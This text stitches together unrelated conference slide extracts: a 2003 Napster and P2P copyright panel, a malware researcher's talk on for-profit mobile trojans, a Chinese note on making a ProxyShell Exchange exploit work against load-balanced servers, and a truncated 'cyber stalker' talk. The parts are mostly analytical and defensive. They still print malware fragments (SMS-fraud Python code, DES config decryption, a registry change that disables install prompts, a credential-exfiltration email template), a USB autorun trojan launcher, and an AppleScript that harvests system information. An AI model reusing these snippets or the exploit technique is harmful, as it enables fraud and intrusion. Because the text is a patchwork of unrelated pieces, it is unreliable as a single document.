JUNE 13, 2000 The RIAA files a motion for a preliminary injunction to block all major-label content from being traded through Napster. Napster hires former A&M Records exec Milton Olin JUNE 13, 2000 The RIAA files a motion for a preliminary injunction to block all major-label content from being traded through Napster. JULY 24, 2000 Napster announces plans to work with digital-rights technology company Liquid Audio to try to make its music downloads safe for copyright holders. Copyright 2003 - SunStorm Security Group Slide Number 18 of 64 HELP! The RIAA Wars Begin JULY 26, 2000 U.S. District Judge Marilyn Patel rules in favor of the record industry and orders Napster to stop allowing copyrighted material to be swapped over its network by midnight two days later. JULY 28, 2000 Hours before Napster would have had to shut down, the Ninth U.S. Circuit Court of Appeals rules that the company should be allowed to continue its operations. OCTOBER 2, 2000 Appeals court hears oral arguments regarding the injunction. Copyright 2003 - SunStorm Security Group Slide Number 19 of 64 Come Together OCTOBER 31, 2000 Napster announces partnership with German media company, Bertelsmann AG, to develop a membership-based distribution system that would guarantee payments to artists. Copyright 2003 - SunStorm Security Group Slide Number 20 of 64 I’m Down FEBRUARY 12, 2001 Federal appeals court rules that Napster must stop trading in copyrighted material and may be held liable for copyright infringement. Copyright 2003 - SunStorm Security Group Slide Number 21 of 64 We Can Work It Out MARCH, 2001 Napster puts in place a file filtering system designed to block users from downloading specific music files specified by an initial list provided by record company attorneys. MARCH, 2001 Judge Patel rules that the burden of notification is on the recording industry, thus lessening the legal burden on Napster. JULY, 2001 In response to the court's demands, Napster begins to utilize Playmedia systems' secure encoding and playback technology in its new membership service. Copyright 2003 - SunStorm Security Group Slide Number 22 of 64 Let It Be JULY 11,2001 Despite a 99% effectiveness rate by Napster's security technology in identifying and screening out noticed music copying abuses, a district court judge issues an order prohibiting Napster from enabling file transfers unless it reaches a 100% success rate. This order essentially shuts the Napster file sharing service down SEPTEMBER 25, 2001 Napster reaches a deal with songwriters and music publishers. The settlement says that Napster will pay 26 million to them as well as a percentage of the money it takes in when it begins its paying service scheduled to begin in the first part of 2002. Copyright 2003 - SunStorm Security Group Slide Number 23 of 64 Hello Goodbye MAY 2002-July 2002, Internal lawsuits bring Napster to bankruptcy court. NOVEMBER 2002: Roxio buys the Napster brand, trademark, and all remaining intellectual property. Copyright 2003 - SunStorm Security Group Slide Number 24 of 64 Imagine: The Future of Filesharing • Current filesharing services • Whither the recording industry? • Utopian visions Copyright 2003 - SunStorm Security Group Slide Number 25 of 64 Presenter Omar Ahmed V.P. of Operations, Napster Founder: Logictier Madscientist Foundation Copyright 2003 - SunStorm Security Group Slide Number 26 of 64 A Brief History of Napster and Intellectual Property Omar Ahmad VP of Operations Napster, Inc. Copyright 2003 - SunStorm Security Group Slide Number 27 of 64 Snowcrash USA • Music • Movies • Microcode • High-speed pizza delivery Copyright 2003 - SunStorm Security Group Slide Number 28 of 64 When Music Was Young… • People played music for themselves on musical instruments • Music was purchased in the form of sheet music • Then came the Player Piano Piano Rolls • Music publishers sued for violation of copyright, among their claims: Piano players would be put out of work No one would ever buy sheet music again • Supreme court determined piano rolls were NOT a violation of copyright Copyright 2003 - SunStorm Security Group Slide Number 29 of 64 The Publisher’s Next Move… • Lobby congress • Amended the copyright law to include: “Mechanical rights” • License rate set at 2 cents Copyright 2003 - SunStorm Security Group Slide Number 30 of 64 The Rights of the Record Company vs the Artist • Typical deals: Record company own right to produce “recordings” Record company will produce, market and distribute • 1996-7 the deals changed Broader rights were part of the deal: ARAMWIP,A • What does the record company do with these rights? Copyright 2003 - SunStorm Security Group Slide Number 31 of 64 The Ancillary Market & The Movie Industry • Jack Valenti – President MPAA Betamax case • Home video is a critical portion of movie revenue • Film industry has become fully engaged across all market fronts “Windowing” • FLASHDANCE for the music industry Copyright 2003 - SunStorm Security Group Slide Number 32 of 64 What is an MP3? • Motion Picture Engineering Group • MPEG-1 1.54Mbs • MPEG-2 Higher – 4–45Mbs • MPEG-4 ISDN • The boom came in 1997 Pentium processing was strong Off-the-shelf compression was good Copyright 2003 - SunStorm Security Group Slide Number 33 of 64 The Napster Start • Shawn wanted to swap files • Chess Server • Real-time index • Damn ugly interface • Hacker community input… Copyright 2003 - SunStorm Security Group Slide Number 34 of 64 The Record Company “Back Catalog” • Records are out for a small period of time • Recordings move to “out of print” • Record companies are reticent to release rights to anyone Copyright 2003 - SunStorm Security Group Slide Number 35 of 64 The Hidden Napster • 80% of Napster traffic was: Back catalog International Bootlegs • The trial twist: PROVE you own the copyrights… Copyright 2003 - SunStorm Security Group Slide Number 36 of 64 The Deals on the Table • Record Companies offered: Full download license No indemnification • Napster countered… Lower the prices What do you mean no indemnification? • The end game: No one knows where the rights are Copyright 2003 - SunStorm Security Group Slide Number 37 of 64 1893 • 1893 Chicago World Fair First electric powered World Fair Edison and GE vs Tesla and Westinghouse The lightbulb blockade The court decision Westinghouse response • 1893 Mildred J and Patty Smith Hill wrote a series of songs Happy Birthday to you Happy Birthday to you Happy Birthday dear XXXXX Happy Birthday to you The lightbulb is in the public domain. “Happy Birthday” is still collecting royalties (2030 or later) Copyright 2003 - SunStorm Security Group Slide Number 38 of 64 Your Issues • In your career you will produce copyrights and patents What rights will you retain and for how long? How will people use your IP? • Is there a public need for IP “greenspace”? Patents are 17 years Copyright = lifetime + 75 years Copyright 2003 - SunStorm Security Group Slide Number 39 of 64 Presenter Harry Regan Security Consultant to Napster Founder and CEO SunStorm Security Group Copyright 2003 - SunStorm Security Group Slide Number 40 of 64 The Future of Freedom "I worry about my child and the Internet all the time, even though she's too young to have logged on yet. “Here's what I worry about. I worry that 10 or 15 years from now, she will come to me and say 'Daddy, where were you when they took freedom of the press away from the Internet?'" --Mike Godwin, Electronic Frontier Foundation Copyright 2003 - SunStorm Security Group Slide Number 41 of 64 Peer-to-Peer Filesharing Security • In the wake of Napster and other RIAA targeted file-sharing operations, systems like Freenet and Gnutella claim end-user anonymity. How real is that claim? • Aren’t there millions of P2P users? How can my activity be tracked down? • Assuming “reasonable care” is taken to protect my computer, how safe is P2P from a security point of view? Copyright 2003 - SunStorm Security Group Slide Number 42 of 64 Gnutella and Security • Gnutella Communication Architecture – Protocols – Ports – Messaging • Vulnerabilities • “Free Riders” • Aren’t there millions of P2P users? How can my activity be tracked down? Copyright 2003 - SunStorm Security Group Slide Number 43 of 64 About Freenet • What is Freenet? • Who is behind Freenet? • If authors are anonymous how can you trust information? • Do I have to donate disk space and bandwidth? – I don't have to donate anything when using filesharing application X and I get to leech more – All my friends donate very little space and bandwidth. Why should I donate more? – If I donate a lot will my experience improve significantly? – What do I get from running a permanent node? Copyright 2003 - SunStorm Security Group Slide Number 44 of 64 About Freenet • Is Freenet legal? – Can I get trouble if I run a node? • What about copyright? • What about child porn, offensive content or terrorism? • How about encryption export restrictions? • I have nothing to hide and don't need anonymity. Is there anything else Freenet can offer? Copyright 2003 - SunStorm Security Group Slide Number 45 of 64 Freenet Security • Won't attack X break Freenet's anonymity? • Is Freenet vulnerable to flooding attacks? • Why hash keys and encrypt data when a node operator could identify them (the data) anyway if he tried? • What about hostile "cancer" nodes within the network? • What about specific attack “Y?” Copyright 2003 - SunStorm Security Group Slide Number 46 of 64 The Digital Millennium Copyright Act Amendments and Exceptions • Circumvention of Copyright Protection Systems • Reverse Engineering Exception • Exception for Law Enforcement and Intelligence Activities • Encryption Research Exception • Security Testing Exception • Exception Regarding Minors • Protection of Personally Identifying Information • Exemption for Nonprofit Libraries, Archives, and Educational Institutions • Certain Analog Devices and Certain Technological Measures Copyright 2003 - SunStorm Security Group Slide Number 47 of 64 The Digital Millennium Copyright Act Safe Harbors • System Storage and Information Locating Tools • Safe Harbors for System Caching • Transmission and Routing Copyright 2003 - SunStorm Security Group Slide Number 48 of 64 Guidelines for Peer-to-Peer Developers A few general guidelines for P2P developers can be derived from an analysis of contributory and vicarious copyright infringement principles Copyright 2003 - SunStorm Security Group Slide Number 49 of 64 Guidelines for Peer-to-Peer Developers • Your two options: total control or total anarchy. • Better to sell stand-alone software products than on-going services. • Can you plausibly deny knowing what your end-users are up to? • What are your substantial non-infringing uses? • Disaggregate functions. Copyright 2003 - SunStorm Security Group Slide Number 50 of 64 Guidelines for Peer-to-Peer Developers • Don't make your money from the infringing activities of your users. • Be open source. • Do not be a direct infringer: make and store no copies. • Do not build any "circumvention devices" into your product. • Don't use someone else's trademark in your name. Copyright 2003 - SunStorm Security Group Slide Number 51 of 64 Strategies in Developing Peer-to-Peer Apps and Services Auto-Update Does the use of "auto-update" functionality in peer-to-peer filesharing software increase the likelihood of copyright liability for the software vendor? Copyright 2003 - SunStorm Security Group Slide Number 52 of 64 Strategies in Developing Peer-to-Peer Apps and Services Developer Liability Can the individual developers involved in a peer-to-peer filesharing product be held personally liable for the copyright infringement of end users? Copyright 2003 - SunStorm Security Group Slide Number 53 of 64 Potential Defenses • No Direct Infringer "All Users are Innocent Fair Users" • The Sony Betamax Defense "Capable of substantial noninfringing uses“ • The DMCA Section 512 “Safe Harbors“ • Because basic architecture decisions may influence a system's eligibility for these defenses, a P2P developer would be wise to consider the limits of each defense in evaluating the legal risks posed by any particular system design. Copyright 2003 - SunStorm Security Group Slide Number 54 of 64 Presenter David McLeod Tension Structure Films Producer / Director LiveHives: theBuzz@theBarricades Copyright 2003 - SunStorm Security Group Slide Number 55 of 64 LiveHives - theBuzz • Constant access to communication devices allows people to communicate more directly with more people • Faster communications among groups of people • Global scale of communication is greatly expanded • Communication technologies are becoming more pervasive – More mobile telephones are being installed in the United States than land lines – High-speed internet access is becoming as common as television access Copyright 2003 - SunStorm Security Group Slide Number 56 of 64 LiveHives - theBuzz • Communication is becoming decentralized • The nature of the devices makes the nature of the communication more decentralized • People are no longer so dependant on centralized government or broadcasting agencies • People are able to organize in ways that they hadn’t been able to before • Desktop computers has have become considerably more powerful, and more networked, and therefore better tools for communications Copyright 2003 - SunStorm Security Group Slide Number 57 of 64 LiveHives - theBuzz • Most computers now have Internet connections. • Networking allows for collaborate on unprecedented scales • Communications are now at higher speed and more reliable than ever before Copyright 2003 - SunStorm Security Group Slide Number 58 of 64 LiveHives: Collaboration Amperage • A Compound Eye • Total Information Awareness Reloaded • Communities Online • Organizing Chaos • Sharing Visions Copyright 2003 - SunStorm Security Group Slide Number 59 of 64 LiveHives: A Global Colony • Impact on Political Reform • Raising Environmental Awareness • Efficiencies in Commercial and Humanitarian Aid Efforts Copyright 2003 - SunStorm Security Group Slide Number 60 of 64 From Hive to Swarming Moving From Analog to the Network • The Trajectory of Global Networking • Electronic Pollinators • Information’s Supremacy over Machines Copyright 2003 - SunStorm Security Group Slide Number 61 of 64 The Waggle and the Planetary Mosh • The Dancer at the Tower of Babble • Dancing with Strangers • Dangers of the Dance: A Cautionary Tale Copyright 2003 - SunStorm Security Group Slide Number 62 of 64 Presentation An excerpt from a digital video in production LiveHives: theBuzz@theBarricades Tension Structure Films Copyright 2003 - SunStorm Security Group Slide Number 63 of 64 Conclusion Panel Discussion Q & A LiveHive.org LiveHive Participation Invitation Tchotchke Spree: Got Kittyhead? Copyright 2003 - SunStorm Security Group Slide Number 64 of 64 Thank You…You May Go Now Visit the LiveHive Site and Participate http:// frogstar.freenet.org / livehive
pdf
Mobile App Moolah: Profit taking with Mobile Malware Jimmy Shah Mobile Security Researcher Mobile App Moolah: Profit taking with Mobile Malware 2 • Who we are • Mobile malware • Modern for-profit malware • Examples Contents Mobile App Moolah: Profit taking with Mobile Malware 3 Who we are • Mobile Antivirus Researchers • My team and I specialize in mobile malware and threat analysis on existing(J2ME, SymbOS,WM, Apple iOS, Android) and upcoming mobile platforms. • We work with a number of large mobile network operators. Mobile App Moolah: Profit taking with Mobile Malware 4 Mobile Malware In the Wild Historical For-profit malware Trends Mobile App Moolah: Profit taking with Mobile Malware 5 In the Wild SymbOS J2ME Android Python WinCE MSIL VBS BlackBerry Exploit Linux OSX 1200+ variants Mobile App Moolah: Profit taking with Mobile Malware 6 Mobile Malware In the Wild Historical For-profit malware Trends Mobile App Moolah: Profit taking with Mobile Malware 7 • What it does – First reported J2ME trojan(2006) – Pretends to access WAP web pages via SMS messages – Written using the MIDletPascal programming tool • Profit? – In reality, it attempts to send SMS messages to Premium Rate SMS numbers – Eventually spawned a large number of J2ME malware/variants J2ME/Redbrowser.A RedBrowser installation prompt (Symbian OS, S60 UI) “Carefully read following description of RedBrowser program This program allows viewing WAP pages without GPRS connection. RedBrowser connects to SMS server of your operator (MTS, BEELINE, MEGAFON). Page is loaded by receiving coded SMS. First 5Mb (650 SMS) of traffic are provided free of charge in test mode. ATTENTION!!! Program RedBrowser works ONLY on above mentioned cellular operators.” description text (original text in Russian) Mobile App Moolah: Profit taking with Mobile Malware 8 J2ME/Wesber.A • What it does – No GUI, almost pure for-profit J2ME trojan – Program that disguises itself as an assistant program – It contains two jpg files within itself. • Profit? – Sends SMS to premium rate number to purchase mobile phone games. – Presumably written to increase sales for the mobile site Jpg files included but not displayed to user. Wesber installation prompt (Symbian OS, S60 UI) Mobile App Moolah: Profit taking with Mobile Malware 9 Mobile Malware In the Wild Historical For-profit malware Trends Mobile App Moolah: Profit taking with Mobile Malware 10 Trends – Mobile Malware Lifecycle R&D Reuse Profit Taking Mobile App Moolah: Profit taking with Mobile Malware 11 Modern for-profit malware For-profit malware by geographical region How they Profit Detection/Analysis Evasion methods Mobile App Moolah: Profit taking with Mobile Malware 12 For-profit malware by geographical region Mobile App Moolah: Profit taking with Mobile Malware 13 100+ variants Primarily J2ME w/ Android SMS sending trojans 200+ variants J2ME, Symbian, Android SMS trojans, privacy stealing For-profit malware by geographical region Mobile App Moolah: Profit taking with Mobile Malware 14 Modern for-profit malware For-profit malware by geographical region How they Profit Detection/Analysis Evasion methods Mobile App Moolah: Profit taking with Mobile Malware 15 How they profit • Production – Independent malware authors – Produce malware for sale • Distribution – Forums, freeware sites, pirated software sites Mobile App Moolah: Profit taking with Mobile Malware 16 How they profit • Where's the money? – Premium Rate numbers • Ringtones, downloads, data services/newsfeeds Mobile App Moolah: Profit taking with Mobile Malware 17 How they profit • Where's the money? – Click Fraud, Black Hat SEO • Traffic generation, pay-per-click(PPC) ads Mobile App Moolah: Profit taking with Mobile Malware 18 How they profit • Where's the money? – Stealing, reselling PII Mobile App Moolah: Profit taking with Mobile Malware 19 How they profit • Where's the money? – SMS phishing, Injecting fake SMS • Download malware/adware, Drive traffic Mobile App Moolah: Profit taking with Mobile Malware 20 How they profit • Where's the money? – Stealing Accounts(Skype, QQ, SIM balances) • Using partner businesses to cash out Mobile App Moolah: Profit taking with Mobile Malware 21 Modern for-profit malware For-profit malware by geographical region How they Profit Detection/Analysis Evasion methods Mobile App Moolah: Profit taking with Mobile Malware 22 Detection/Analysis Evasion methods • Infection of/Injection into clean apps – J2ME • Chat/IM apps • Games • Adult entertainment – Symbian • Chat/IM apps – Android • Games • Chat/IM apps Mobile App Moolah: Profit taking with Mobile Malware 23 Encryption • Simple – Obfuscations • Hiding SMS numbers/message text within plaintext HTML files – Substitution cipher • Config file containing encrypted SMS numbers/message text <link rel="stylesheet" type="text/css" href="/en/shar ed/core/2/css/css.ashx?sc=/en/us/site.config&amp;pt=cspMscomHomePage&amp;c=cspMscomSiteBrand;cspSearchComponent ;cspMscomFeaturePanel;cspMscomMasterNavigation;[<SMS#>:<MSG>]cspMscomNewsBand;cspVerticalRolloverTab;cspAdControl;cspMscomVe rticalTab;cspSilverGate" /><script type="text/javascript" src="http//i3.microsoft.com/library/svy/broker.js"> </script><meta name="SearchTitle" content="Microsoft.com" scheme="" /><meta name="Description" content="Get product information, support, and news from Microsoft." scheme="" /><meta name="Title" content="Microsoft.c <SMS#>::<MSG>::241.55руб. <SMS#>::<MSG>::173.88руб. <SMS#>::<MSG>::86.00руб. Mobile App Moolah: Profit taking with Mobile Malware 24 Encryption • Complex – Symmetric cipher • DES • Used by Android/Geinimi to encrypt URL queries and C&C commands • Used by Android/DrddreamLite – to encrypt/decrypt config file » URLs, next connect time – to encrypt/decrypt C&C commands – to decrypt root exploits byte abyte1[] = k.b; DESKeySpec deskeyspec = new DESKeySpec(abyte1); javax.crypto.SecretKey secretkey = SecretKeyFactory.getInstance("DES").generateSecret(deskeyspec); Cipher cipher = Cipher.getInstance("DES"); b = cipher; cipher.init(2, secretkey); Mobile App Moolah: Profit taking with Mobile Malware 25 Reduce security/bypass protection • Disable Software installation controls – WinCE/InfoJack.A turns off the unsigned application prompt, allowing it to perform silent installations • Root vulnerabilities – Exploits are used legitimately by users to allow modifying or reflashing new OS versions – Android/DrdDream utilizes 2 root exploits to gain a foothold on android devices – Android/DrddreamLite uses very similar, 1 identical, root exploits • Jailbreaking – Not In the Wild, used only in PoCs • e.g. Eric Monti's modified jailbreak at Toorcon 2010 Key Value HKEY_LOCAL_MACHINE\Security\Policies\Policies\0000101a 0 = Enable Unsigned Application Prompt 1 = Disable Prompt Mobile App Moolah: Profit taking with Mobile Malware 26 Examples of for-profit malware J2ME Symbian Android Other Mobile App Moolah: Profit taking with Mobile Malware 27 J2ME/SMSFree • What it Does – Pretends to be a variety of legitimate apps • anonymous SMS sender • pornographic app • free SMS sender – Profit? • Instead of the user's message it sends to a Premium Rate number • Country specific SMS messages are sent – Russia (5 SMS) – Ukraine (4 SMS) – Kazakhstan (4 SMS) Mobile App Moolah: Profit taking with Mobile Malware 28 J2ME/Vkonpass.A • What it Does – Pretends to be a mobile client for the VKontakte social network – A phishing app, it emails the victim's account details to the attacker • Profit? – Attackers collect VKontakte user accounts • Use trust relationships to spread malware/adware/spyware • Resell accounts • Blackmail users To: ololoe2010yandex.ru From: bork_rulsmail.ru Subject: <username>:<password> Message: <username>:<password> Mobile App Moolah: Profit taking with Mobile Malware 29 Examples of for-profit malware J2ME Symbian Android Other Mobile App Moolah: Profit taking with Mobile Malware 30 SymbOS/Kiazha.A • What it Does – Distributed as part of a larger collection of malware, SymbOS/MultiDropper.CR – Deletes incoming and outgoing SMS messages • Profit? – Displays a warning message and attempts to extort money from the user – Money is to be transferred as the QQ coin virtual currency Warning: Your mobile phone has been infected, please prepare a mobile phone recharge card of 50 Yuan RMB, and contact QQ<account removed>, or your phone will be paralyzed!! Mobile App Moolah: Profit taking with Mobile Malware 31 Python/Reclof.A • What it Does – Python script designed to run under the S60 Python interpreter – Pretends to be a Python client for ICQ • Profit? – Sends SMS to premium rate number appswitch.switch_to_fg(u'Phone')# try:messaging.sms_send('<XXXX>',u'FILES <XXX>')# , except:pass# , – Deletes messages received from the same premium rate number new=sms.sms_messages()# if len(new)!=0:# keypress.simulate_key(63555,63555)# ← Right button keypress.simulate_key(63555,63555)# ← Right Button for id in new:# if sms.address(id)==u'<XXXX>':# sms.delete(id)# Mobile App Moolah: Profit taking with Mobile Malware 32 SymbOS/SuperFairy.A-B • What it does – Adds bookmarks for a smartphone related forum – Launches a browser to view the forum • Profit? – Generate traffic to the smartphone forum • Auto-runs an app that creates the bookmarks http://<removed>.com:8118/client/symbian/S60v2active.txt http://<removed>.com:8118/client/symbian/BackgroundUpdata.ini http://<removed>.com:8118/client/symbian/S60v2StartUpdata.ini • A second app attempts to download files from the mobile phone forum Bookmark title Translation URL <removed> 网 - 手机软件第一站 <removed> Network - the first leg of mobile phone software http://<removed>.com/?id=<removed> 智能手机大社区 Smart phone community http://<removed>.com/?id=<removed> 手机主题免费下载 Free downloading mobile phone themes http://<removed>com/?id=<removed> 手机游戏免费下载 Free downloading mobile phone games http://<removed>/?id=<removed> Mobile App Moolah: Profit taking with Mobile Malware 33 SymbOS/InSpirit.A • What it does – Pretends to be “91 calls show” • With the “System acceleration patch” – Injects a phishing message into the Inbox – Text message is spoofed from a Chinese Bank • Profit? – Text message directs victim to a mobile banking phishing site • “Dear customer, <Bank> reminds you: your account password is entered wrongly for 5 times today. To avoid your fund loss, please login http://<removed>.com for account protection immediately.” Mobile App Moolah: Profit taking with Mobile Malware 34 Examples of for-profit malware J2ME Symbian Android Other Mobile App Moolah: Profit taking with Mobile Malware 35 • What it does – Malicious code inserted into legitimate apps/games • Most likely inserted manually rather than by a file infector – Additional permissions requested • Reading/writing SMS, read/write contacts, access GPS, make phone calls, install shortcuts, etc. Android/Geinimi.A Mobile App Moolah: Profit taking with Mobile Malware 36 • What it does – Encryption • backdoor commands, C&C URL queries Android/Geinimi.A, cont. – Listens on 5432 for handshake, “hi,are you online?” • Responds with “yes,I’m online!” • Falls back to ports 4501 or 6543 – Attempts to connect to local backdoor • Port 8791 byte abyte1[] = k.b; DESKeySpec deskeyspec = new DESKeySpec(abyte1); javax.crypto.SecretKey secretkey = SecretKeyFactory.getInstance("DES").generateSecret(deskeyspec); Cipher cipher = Cipher.getInstance("DES"); b = cipher; cipher.init(2, secretkey); Mobile App Moolah: Profit taking with Mobile Malware 37 • Profit? – Backdoor commands • Forwarding SMS to C&C server • Installing additional software – malware/spyware • Forwarding contacts – New targets • Traffic generation – Loading URLs Android/Geinimi.A, cont. Mobile App Moolah: Profit taking with Mobile Malware 38 • What it does – Malicious code inserted into legitimate app – Requests many additional permissions – Sends IMEI, IMSI, and ICCID to C&C server – Adds bookmarks for a smartphone related forum • Profit? – Generate traffic to the smartphone forum – Send SMS messages • Useful for signing up for Premium Rate Services – Installing additional software • malware/spyware – Forwarding contacts • New targets – Traffic generation • Loading URLs Android/SteamyScr.A Mobile App Moolah: Profit taking with Mobile Malware 39 • What it does – Malicious code inserted into legitimate app – Requests many additional permissions • Profit? – Send SMS messages • Useful for signing up for Premium Rate Services – Deletes messages from signed up services • No way to know you're subscribed Android/Jmsonez.A Mobile App Moolah: Profit taking with Mobile Malware 40 • What it does – Appears to be a system application – Sends IMEI and phone number to C&C server – Attempts to kill certain security applications • Profit? – Signs up for Premium Rate Services – Deletes messages from signed up services • No way to know you're subscribed Android/Tcent.A Mobile App Moolah: Profit taking with Mobile Malware 41 • What it does – Pretends to be an MMS app – Sends IMEI and phone number to C&C server – Attempts to delete software • Profit? – Send SMS messages • Useful for signing up for Premium Rate Services Android/Crusewin.A Mobile App Moolah: Profit taking with Mobile Malware 42 • What it does – Malicious code inserted into legitimate app – Installs backdoor to listen for commands – Sends IMEI, OS type, Device type, etc. to C&C server – Uses two root exploits to install a non-GUI version of the malware • Profit? – Installing additional software • malware/spyware – Traffic generation • Loading URLs Android/DroidKungfu Mobile App Moolah: Profit taking with Mobile Malware 43 • What it does – Malicious code inserted into legitimate IM app – Installs backdoor to listen for commands – Sends IMEI, IMSI, SIM serial number, etc. to C&C server • Profit? – Send SMS messages • Useful for signing up for Premium Rate Services – Traffic generation • Adding Bookmarks Android/PJApp Mobile App Moolah: Profit taking with Mobile Malware 44 • What it does – Trojan pretending to be angry birds update • Similar to Oberheide's Twilight preview app – Alter/delete browser history – Downloads additional APK and loads the code • Profit? – Add/delete bookmarks – Add/delete shortcuts – Display messages • phishing Android/Toplank.A Mobile App Moolah: Profit taking with Mobile Malware 45 • What it does – Trojan pretending to be a legitimate app – Kills security software • Profit? – Send SMS messages • Useful for signing up for Premium Rate Services Android/BaseBridge.A Mobile App Moolah: Profit taking with Mobile Malware 46 Android/J.SMSHider.A • What it does – Malicious code inserted into legitimate app – Installs backdoor to listen for commands – Sends IMEI, IMSI, GPS coords. to C&C server • Profit? – Signs up for Premium Rate Services – Deletes messages from signed up services • No way to know you're subscribed – Installing additional software • malware/spyware Mobile App Moolah: Profit taking with Mobile Malware 47 • What it does – Malicious code inserted into legitimate game – Installs backdoor to listen for commands • Profit? – Forwards SMS messages • Useful for intercepting mTANs – Send SMS messages • Useful for signing up for Premium Rate Services – Installing additional software • malware/spyware Android/GoldDream Mobile App Moolah: Profit taking with Mobile Malware 48 • What it does – Malicious code inserted into legitimate app • Profit? – Signs up for Premium Rate Services – Deletes messages from signed up services • No way to know you're subscribed Android/HippoSMS Mobile App Moolah: Profit taking with Mobile Malware 49 Examples of for-profit malware J2ME Symbian Android Other Mobile App Moolah: Profit taking with Mobile Malware 50 • What it does – Set of PoC Android apps • Soundcomber – Records phone calls – Identifies relevant portions of IVR – Processes audio for credit card numbers Soundcomber • Deliverer – Receives extracted information from Soundcomber – Transmits credit card number to attacker Schlegel, R, Zhang, K, Zhou, X, Intwala, M, Kapadia, A, & Wang, X. (Producer). (2011). Soundcomber demo. [Web]. Retrieved from http://youtu.be/Z8ASb-tQVpU Mobile App Moolah: Profit taking with Mobile Malware 51 • Profit? – Eavesdrops on voice calls • Intercept credit card/account numbers Soundcomber – Collects DTMF(touch tones) • Intercept credit card/account numbers Schlegel, R, Zhang, K, Zhou, X, Intwala, M, Kapadia, A, & Wang, X. (Producer). (2011). Soundcomber demo. [Web]. Retrieved from http://youtu.be/Z8ASb-tQVpU Mobile App Moolah: Profit taking with Mobile Malware 52 References Mobile App Moolah: Profit taking with Mobile Malware 53 References • J2ME/RedBrowser.A – http://vil.nai.com/vil/content/v_138726.htm • J2ME/Wesber.A – http://vil.nai.com/vil/content/v_140595.htm • J2ME/SMSFree.A – http://vil.nai.com/vil/content/v_145420.htm • J2ME/Vkonpass.A – http://vil.nai.com/vil/content/v_268520.htm • SymbOS/Kiazha.A – http://vil.nai.com/vil/content/v_144207.htm • Android/Geinimi.A – http://vil.nai.com/vil/content/v_342726.htm • Android/Jmsonez.A – http://vil.nai.com/vil/content/v_501748.htm • Android/Tcent.A – http://vil.nai.com/vil/content/v_501599.htm • Android/Crusewin.A – http://vil.nai.com/vil/content/v_501639.htm Mobile App Moolah: Profit taking with Mobile Malware 54 References • Android/DroidKungFu.A – http://www.mcafee.com/threat-intelligence/malware/default.aspx?id=522281 • Android/PJApp.A – http://www.mcafee.com/threat-intelligence/malware/default.aspx?id=526804 • Android/Toplank.A – http://www.mcafee.com/threat-intelligence/malware/default.aspx?id=535360 • Android/BaseBridge.A – http://www.mcafee.com/threat-intelligence/malware/default.aspx?id=535367 • Android/J.SMSHider.A – http://www.mcafee.com/threat-intelligence/malware/default.aspx?id=527859 • Android/GoldDream.A – http://www.mcafee.com/threat-intelligence/malware/default.aspx?id=539671 • Android/HippoSMS.A – http://www.mcafee.com/threat-intelligence/malware/default.aspx?id=544065 Mobile App Moolah: Profit taking with Mobile Malware 55 References • Roman Schlegel, Kehuan Zhang, Xiaoyong Zhou, Mehool Intwala, Apu Kapadia, and XiaoFeng Wang, "Soundcomber: A Stealthy and Context-Aware Sound Trojan for Smartphones," In Proceedings of the 18th Annual Network & Distributed System Security Symposium (NDSS '11). Retrieved from http://www.cs.indiana.edu/~kapadia/papers/soundcomber-ndss11.pdf • Roman Schlegel, Kehuan Zhang, Xiaoyong Zhou, Mehool Intwala, Apu Kapadia, and XiaoFeng Wan. (Producer). (2011). Soundcomber demo. [Web]. Retrieved from http://youtu.be/Z8ASb-tQVpU Mobile App Moolah: Profit taking with Mobile Malware 56 Acknowledgments Mobile App Moolah: Profit taking with Mobile Malware 57 Acknowledgements • Fyodor Bom of о0о Security Team • Billy Lee & Tom( 潘宣辰 ) of Antiy Labs • Roman Schlegel, Kehuan Zhang, Xiaoyong Zhou, Mehool Intwala, Apu Kapadia, and XiaoFeng Wang • Dr. Xuxian Jiang and his research team at North Carolina State University for their initial discovery of samples of the following malware: Android/DroidKungFu, Android/Toplank.A, Android/GoldDream.A, and Android/HippoSMS.A.
pdf
#proxyshell for workload 从发布上个文章后,好多从那个文章加微信的朋友都提到了负载问题,但是搬家没时 间看。最近刚搬完家看了一下大致解决了这个问题,顺便做一个记录。脚本已公开至 个人 github。 https://github.com/wudicainiao/proxyshell-for-exchange_workload 0x02 Wsman 发送请求时有顺序的序列,而遇到负载时这个特点会造成顺序发送请求时, 有些请求发给了负载的其他机器,从而造成 cmdlet 调用失败,会报错如下。 但是并不是所有这个报错的都是负载,sid 认证失败后如果还持续发送请求,也会报 该错误。 具体看目标是否存在负载,可查看 response header 中 X-CalculatedBETarget 的值是否 有变化,就可知道目标是不是负载或大概有多少个负载服务器。 这个问题上,一开始并没有想到如何解决,当时想着去看下 wsman 能不能压缩请求 次数看一下怎么改造这个库文件。 之后又突然想到把思路颠倒一下,实际上这个问题就如链接 webshell 时遇到的负载问 题一样,逆向思维我们只要确保每个请求都发给了目标负载就可解决这个问题,改造 原 poc,主要的修改代码如下。 测试执行 get-user 等有很多个请求包的 cmdlet,已可稳定利用。但是在针对有数十个 负载的目标时候,还需要重新写一下脚本以提高效率。 Ref: https://github.com/dmaasland/proxyshell-poc
pdf
Confessions(of(a(Professional(Cyber(Stalker( KEN(WESTIN( SR(SECURITY(ANALYST(( [email protected](( @KWESTIN( STALKER(REVEALED( D  Ken(WesEn(( D  Former(“ethical”(cyber(stalker( D  Developed(privacy(invading(tools((for(good)( D  Put(bad(people(in(jail( D  Trained(law(enforcement(on(invesEgaEve((OSINT)(techniques( D  Currently(Sr.(Security(Analyst(at(Tripwire(Inc( D  Advisor(for(Spyaware.be(and(Biom.io(( ( ( USB(Hacks( Windows(USB(Trojans( [autorun]( icon=icon.ico( open=passwords.exe( acEon=Install(USB(driver( label=My(Crap( shell\open\command=passwords.exe( shell\open=Install(USB(driver( Windows(Agent( •  URL(provided(during(presentaEon( First(iPod(Recovery( Building(Apple(USB(Trojans( •  Why(AppleScript?( •  Trusted( •  Interfaces(for(most(OS(X(apps( ( •  Tricking(OS(X(with(Homoglyphs((( BiEng(Into(the(AppleScript( ----- tell application "iTunes"         activate         try           open location trackURL         end try end tell do shell script “"  set sysinfo to (system info) as record set uname to long user name of sysinfo set user to short user name of sysinfo set cname to computer name of sysinfo set sip to IPv4 address of sysinfo github.com/kwesEn/applerazor( USB(Aaack(Vector(SEll(a(Threat( •  The(Stuxnet(virus(was(iniEally(delivered( via(USB(to(Iranian(nuclear(faciliEes,( eventually(spreading(to(Russian(faciliEes( in(the(same(way.(( ( •  USB((Malware(has(even(made(it(to(the( InternaEonal(Space(StaEon(((2008( W32.Gammima.AG(worm)(( ( •  